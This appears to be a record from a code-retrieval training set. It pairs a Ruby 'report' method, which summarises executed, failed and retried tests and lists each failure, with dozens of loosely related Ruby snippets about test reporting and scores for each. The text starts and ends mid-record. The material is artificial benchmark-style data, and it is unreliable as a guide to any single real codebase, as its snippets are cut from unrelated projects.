*args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def after_set_callback; end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def around_hooks; end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6165152", "0.60463154", "0.59467196", "0.5917112", "0.5890387", "0.58345735", "0.57773316", "0.56991524", "0.56991524", "0.565454", "0.5622282", "0.54232633", "0.54119074", "0.54119074", "0.54119074", "0.53937256", "0.53801376", "0.5358599", "0.53412294", "0.5340814", "0.53314966", "0.53114754", "0.52984965", "0.52977055", "0.5296272", "0.5260649", "0.5245076", "0.52388334", "0.52388334", "0.52388334", "0.52388334", "0.52388334", "0.5235081", "0.52321917", "0.5228592", "0.5220735", "0.52198535", "0.52139324", "0.5208539", "0.5206585", "0.5178542", "0.5175199", "0.5173538", "0.5167041", "0.51614195", "0.51577675", "0.5153909", "0.51528823", "0.5152225", "0.51429904", "0.5141399", "0.51345575", "0.51145", "0.5114052", "0.5114052", "0.5110216", "0.5108656", "0.50935394", "0.5089196", "0.5081936", "0.5079627", "0.50675833", "0.5056105", "0.5053687", "0.5050475", "0.5050475", "0.503471", "0.5028311", "0.501982", "0.50157547", "0.5013552", "0.50014806", "0.50011593", "0.49976763", "0.4990292", "0.4990292", "0.49882022", "0.4981269", "0.49792367", "0.49766538", "0.4967978", "0.49667212", "0.4958987", "0.49572337", "0.49550423", "0.4954479", "0.4952353", "0.494726", "0.4944055", "0.4935437", "0.4931248", "0.49283475", "0.49281213", "0.49268973", "0.4921738", "0.49204507", "0.4918924", "0.49182287", "0.4916538", "0.49158585", "0.49156788" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def percentual_gordura_params params.require(:percentual_gordura).permit(:triceps, :supra_f, :supra_m, :abdomen, :coxa, :subescapular, :aluno_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Prints a detailed report of the tests failures.
def report tests_executed_string = @executed_count == 1 ? "test" : "tests" tests_failed_string = @failed_count == 1 ? "failure" : "failures" tests_retried_string = @retried_count == 1 ? "retry" : "retries" if @failed_count > 0 fail("Executed #{@executed_count}(#{@total_count}) #{tests_executed_string}, with **#{@failed_count}** #{tests_failed_string} 🚨") @failures.each do |failure| fail("`[#{failure.content.split("/").last}] [#{failure.parent['name']}] #{failure['message']}`") end elsif @retried_count > 0 message("Executed #{@executed_count}(#{@total_count}) #{tests_executed_string}, with #{@failed_count} #{tests_failed_string} and #{@retried_count} #{tests_retried_string} 🎉") else message("Executed #{@executed_count}(#{@total_count}) #{tests_executed_string}, with #{@failed_count} #{tests_failed_string} 🎉") end return @failed_count <= 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def report\n\t\t\tputs \"Tests: #{@ok} ok, #{@fail} failures.\"\n\t\t\tif (@fail > 0)\n\t\t\t\tputs \"*** THERE WERE FAILURES *** \"\n\t\t\telse \n\t\t\t\tputs \"*** ALL TESTS PASSED ***\"\n\t\t\tend\n\t\tend", "def print_results\n if !@failures.empty?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def format_failing_test(suite, test, reason, file_path);\n text = format_failure({file_path: file_path, reason: reason})\n format_text_after_step(method(:red), \"\\n\", text)\n end", "def format_failed_test(suite, test_case, time)\n text = INDENT + format_test(\"#{test_case} (#{colored_time(time)} seconds)\", :fail)\n format_text_after_step(method(:green), \"\\n\\n\", text)\n end", "def print_failures(arr)\n if arr.length > 0\n puts \"Failures:\"\n end\n\n arr.each do |bad|\n puts \"\\t#{bad}\"\n end\n end", "def show_failure\n failed_commands = Cache.instance[\"failed_commands\"]\n failed_commands.each_with_index do |command, i|\n Ansi.write($stdout, :red, \"Failed command (#{i + 1}/#{failed_commands.size}):\", :reset, \"\\n\")\n $stdout.puts Util.command_to_s(command)\n end\n end", "def report(failure_message)\n puts failure_message\n end", "def report(failure_message)\n puts failure_message\n end", "def dump_failures(notification)\n failure_notifications = notification.failure_notifications\n return if failure_notifications.empty?\n\n failure_notifications.each do |failure|\n exception = failure.exception\n next unless exception\n\n sauce_test_link = failure.example.metadata[:sauce_test_link]\n next unless sauce_test_link\n\n # Use nonbreaking space to bypass message.strip and ensure we have\n # a newline after the message and before the stack trace.\n nbsp = \"\\u00A0\"\n message = \"#{exception.message}\\n#{sauce_test_link}\\n#{nbsp}\"\n exception.instance_eval <<-RUBY\n def message\n %q(#{message})\n end\n\n def to_s\n message\n end\n RUBY\n end\n\n # Use default RSpec logic to format the failures now that we've\n # attached the Sauce test link to the exceptions\n super\n end", "def report_failure\n @report.fail\n end", "def report_failure\n @report.fail\n end", "def dump_failures\n super\n return if failed_examples.empty?\n if self.class.config[:growl_failures]\n\n msg = failed_examples.each_with_index.map do |example, idx|\n [\"#{idx+1}. it #{example.description}\",\n example.metadata[:execution_result][:exception]]\n end.flatten.join(\"\\n\\n\")\n\n ::Growl.notify_warning msg, {\n :title => \"#{failed_examples.size} specs failed\"\n }.merge(self.class.growlnotify_config)\n end\n end", "def fail(description, message, line, file)\n print yellow(\"F\")\n @details << \"FAILURE - #{test_detail(description, message)} #{line_info(line, file)}\".strip\n end", "def report()\n print \"\\n\"\n $asserts.each do |err, str, iso, e|\n print(err);\n print_assertion_string(str, iso)\n if e\n print(\" => \")\n print(e.message)\n end\n print(\"\\n\")\n end\n\n $total_test = $ok_test.+($ko_test)\n print('Total: ')\n print($total_test)\n print(\"\\n\")\n\n print(' OK: ')\n print($ok_test)\n print(\"\\n\")\n print(' KO: ')\n print($ko_test)\n print(\"\\n\")\n print('Crash: ')\n print($kill_test)\n print(\"\\n\")\n\n if Object.const_defined?(:Time)\n print(' Time: ')\n print(Time.now - $test_start)\n print(\" seconds\\n\")\n end\nend", "def test_failed(array)\n last_item = array.length - 1\n test_name = array[last_item - 2]\n reason = array[last_item].chomp + ' at line: ' + array[last_item - 3]\n test_suite_verify(array[@class_name])\n printf \"%-40s FAILED\\n\", test_name\n\n if test_name.start_with? 'TEST('\n array2 = test_name.split(' ')\n @test_suite = array2[0].sub('TEST(', '')\n @test_suite = @test_suite.sub(',', '')\n test_name = array2[1].sub(')', '')\n end\n\n return unless @xml_out\n\n @array_list.push ' <testcase classname=\"' + @test_suite + '\" name=\"' + test_name + '\">'\n @array_list.push ' <failure type=\"ASSERT FAILED\"> ' + reason + ' </failure>'\n @array_list.push ' </testcase>'\n end", "def report_failure\n @report.scan_passed(name, false)\n end", "def dump_failure(counter, failure)\n end", "def dump_failure(counter, failure)\n end", "def test_failures(build_num)\n test_results(build_num).body['tests'].select do |test_result|\n test_result['result'] == 'failure'\n end\n end", "def failed_text\n 'Failed: %d' % failed\n end", "def fail\n @counts.fails += 1\n puts_failure_data(header: FAIL_HEADER)\n end", "def rspec(index)\n if not @succeeded\n puts \"\\n#{color_print(\"Error\", :red)} (#{index}) - \\\"#{@testcase.name}\\\"\"\n puts @error_message\n end\n end", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n \n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def display_failures\n @data[\"display_failures\"]\n end", "def present_non_assertion_error_summary\n return if non_assertion_errors.empty?\n Terminal.format_title(@io, 2, \"Errors other than assertion failures\")\n non_assertion_errors.each do |error|\n error.non_assertion_error_details(@io)\n end\n end", "def report()\n print \"\\n\"\n\n $asserts.each do |msg|\n puts msg\n end\n\n $total_test = $ok_test.+($ko_test)\n print('Total: ')\n print($total_test)\n print(\"\\n\")\n\n print(' OK: ')\n print($ok_test)\n print(\"\\n\")\n print(' KO: ')\n print($ko_test)\n print(\"\\n\")\n print('Crash: ')\n print($kill_test)\n print(\"\\n\")\n\n if Object.const_defined?(:Time)\n print(' Time: ')\n print(Time.now - $test_start)\n print(\" seconds\\n\")\n end\nend", "def report()\n print \"\\n\"\n\n $asserts.each do |msg|\n puts msg\n end\n\n $total_test = $ok_test.+($ko_test)\n print('Total: ')\n print($total_test)\n print(\"\\n\")\n\n print(' OK: ')\n print($ok_test)\n print(\"\\n\")\n print(' KO: ')\n print($ko_test)\n print(\"\\n\")\n print('Crash: ')\n print($kill_test)\n print(\"\\n\")\n\n if Object.const_defined?(:Time)\n print(' Time: ')\n print(Time.now - $test_start)\n print(\" seconds\\n\")\n end\nend", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def failed_example_output example\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def failures\n ran_tests.select { |t| !t.passed? } + subcontexts.map { |s| s.failures }.flatten\n end", "def failure_message\n @message += \"Expected: #{@expected}\\n\\n\"\n @message += \"Actual: #{@actual}\\n\\n\"\n @message += \"Differences\\n\\n\"\n\n add_diff_to_message(@actual, @expected)\n\n @message\n end", "def setup_fail(message)\n puts '-'*50\n message.each { |line| puts line }\n puts '-'*50\n exit\n end", "def error_details\n msg = ''\n @runner.failures.each do |checker|\n # msg << error(\"------- #{checker.name} -------\") << \"\\n\"\n # msg << error(\"#{checker.hint}\") << \"\\n\"\n checker.errors.details.each do |type, content|\n case type\n when :source\n content.each_line.with_index do |l, i|\n msg << yellow((i + 1).to_s.rjust(3)) << '|' << l\n end\n when Integer\n msg << info('Line: ') << yellow(type) << '|' << info(content)\n when Array\n msg << info('Pos: ') << yellow(type.join(',')) << '|' << info(content)\n when nil\n msg << info(content)\n end\n msg << \"\\n\"\n end\n end\n msg\n end", "def failure_details(io)\n super\n unless test_case.input.empty?\n format_block(io, \"Input\", test_case.input)\n end\n format_block(io, \"Evaluated commands\", test_case.evaluated_commands)\n comparisons.each do |expectation|\n expectation.format_details(io)\n end\n unless test_case.scope.debug.empty?\n format_block(io, \"Contents of *debug*\", test_case.scope.debug)\n end\n format_block(io, \"How to run this test\", test_case.shell_command_details)\n end", "def negative_failure_message\n return '' if found.nil?\n return [\n \"expected no tubes matching #{expected.to_s},\",\n \"found #{strategy.pretty_print_tube(found)}\",\n ].join(' ')\n end", "def failure_message\n if @found\n \"\\nexpected: #{@expect}\\n got: #{@actual}\\n\"\n else\n \"\\nCould not find a snapshot at #{snap_path}.\\n Failing \" \\\n \"instead of creating; save_snapshots is set to #{save_config}.\"\n end\n end", "def failure_message\n +\"expected to find #{description}\" << count_message\n end", "def ReportTest(test_description, test_result)\n # report it to the log\n Builtins.y2milestone(\"%1 %2\", test_description, test_result)\n\n # report it to the UI\n UI.ChangeWidget(\n Id(:log_view),\n :LastLine,\n Builtins.sformat(\n \"%1 %2\\n\",\n test_description,\n test_result ? @result_ok : @result_failed\n )\n )\n\n if test_result\n # passed\n return\n end\n\n Builtins.y2error(\"-- I.C. Winner --\")\n\n UI.ChangeWidget(\n Id(:log_view),\n :LastLine,\n Ops.add(\n Ops.add(\n \"\\n\",\n Builtins.sformat(\n # TRANSLATORS: an error message\n # %1 - link to our bugzilla\n # %2 - directory where YaST logs are stored\n _(\n \"This is worth reporting a bug at %1.\\nPlease, attach all YaST logs stored in the '%2' directory.\\n\"\n ),\n \"http://bugzilla.novell.com/\",\n \"/var/log/YaST2/\"\n )\n ),\n \"\\n\"\n )\n )\n\n nil\n end", "def report_test_results(test_name, results)\n status = true\n message = \"\"\n for result in results\n # print (\"Status: \"+result[0].to_s+\"\\n\")\n status = (status && result[0])\n if (result[1].is_a?(Array))\n for m in result[1]\n message += m.to_s + \"\\n\\t\"\n end\n else\n message += result[1] + \"; \"\n end\n end\n\n report_test_result(test_name, status, message)\nend", "def long_display\n backtrace = filter_backtrace(@exception.backtrace).join(\"\\n \")\n [\n \"Error\".red.bold, \n \":\\n\", \n \"#@test_name:\".white, \n \"\\n\", \"#{message}\".red, \n \"\\n #{backtrace}\".gsub(/:(\\d+):/,\":#{'\\1'.red}:\")\n ].join('')\n end", "def failure_message\n if found.nil?\n found_count = 'none'\n found_string = nil\n else\n materialized_found = found.to_a\n found_count = \"#{materialized_found.length}:\"\n found_string = materialized_found.map {|job| strategy.pretty_print_job(job) }.join(\"\\n\")\n end\n [\n \"expected #{expected_count || 'any number of'} jobs matching #{expected.to_s},\",\n \"found #{found_count}\",\n found_string,\n ].compact.join(' ')\n end", "def failure_message\n @failures.map(&:failure_message).join(\" and \")\n end", "def display_results\r\n if @errors.empty?\r\n if @test_diff.empty?\r\n @out.puts \"Output matches exactly\"\r\n else\r\n @out.puts \"Test diff:\"\r\n @out.puts @test_diff\r\n end\r\n else\r\n @errors.each {|error| @out.puts error }\r\n end\r\n end", "def failure_message\n actual = prettify_args(@actual)\n matcher = prettify_matcher(@metadata[:name])\n\n if @metadata[:args].count > 0\n args = prettify_args(*@metadata[:args])\n\n \"'#{actual}' should #{matcher} '#{args}'\"\n else\n \"'#{actual}' should #{matcher}\"\n end\n end", "def report_results(t)\n say \"Finished in #{t.real.to_s[0..6]} seconds\"\n res = \"#{Result.list.length} tests\"\n color = :green\n res = \"#{res} #{Result.failures.length} Failures\" and color = 